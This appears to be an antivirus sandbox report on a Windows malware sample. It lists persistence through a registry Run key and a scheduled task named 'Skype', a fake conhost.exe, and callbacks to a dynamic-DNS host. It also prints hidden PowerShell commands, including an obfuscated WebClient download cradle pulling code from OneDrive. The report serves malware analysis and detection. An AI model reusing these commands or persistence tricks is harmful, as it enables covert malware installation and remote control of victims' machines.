Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '0UQWA85YZA' = '"%ALLUSERSPROFILE%\conhost.exe"'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\conhost.exe.manifest
- %APPDATA%\microsoft\windows\start menu\programs\startup\conhost.exe
- <SYSTEM32>\tasks\skype
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\conhost.exe.manifest
- %ALLUSERSPROFILE%\conhost.exe
Network activity
Connects to
- 'ja###.publicvm.com':1005
- 'microsoft.com':80
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
HTTP POST requests
- http://ja###.#ublicvm.com:1005/Vre via ja###.publicvm.com
UDP
- DNS ASK ja###.publicvm.com
- DNS ASK microsoft.com
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\conhost.exe'
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn Skype /tr "%ALLUSERSPROFILE%\conhost.exe' (with hidden window)
- '%ALLUSERSPROFILE%\conhost.exe' ' (with hidden window)
- '<SYSTEM32>\wscript.exe' "%TEMP%\8XFEH1K7SJ.vbs"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $NOTHING = '(N`e`<^_^>t`.W`e'.Replace('<^_^>','w-Object Ne');$alosh='bC||||||!@!@nlo'.Replace('||||||!@!@','lient).Dow'); $Dont='adString(''https://onedrive.live.com/Download?cid=A242CB5338D184...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\msi.ps1' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn Skype /tr "%ALLUSERSPROFILE%\conhost.exe
- '<SYSTEM32>\taskeng.exe' {20A823A5-822E-4553-9523-467AC6A40C7E} S-1-5-21-1960123792-2022915161-3775307078-1001:oaixqgmnm\user:Interactive:[1]
- '<SYSTEM32>\wscript.exe' "%TEMP%\8XFEH1K7SJ.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $NOTHING = '(N`e`<^_^>t`.W`e'.Replace('<^_^>','w-Object Ne');$alosh='bC||||||!@!@nlo'.Replace('||||||!@!@','lient).Dow'); $Dont='adString(''https://onedrive.live.com/Download?cid=A242CB5338D184...
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\vb.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1
- '<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\Microsoft Arts\start\SystemSettingsBroker.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\msi.ps1
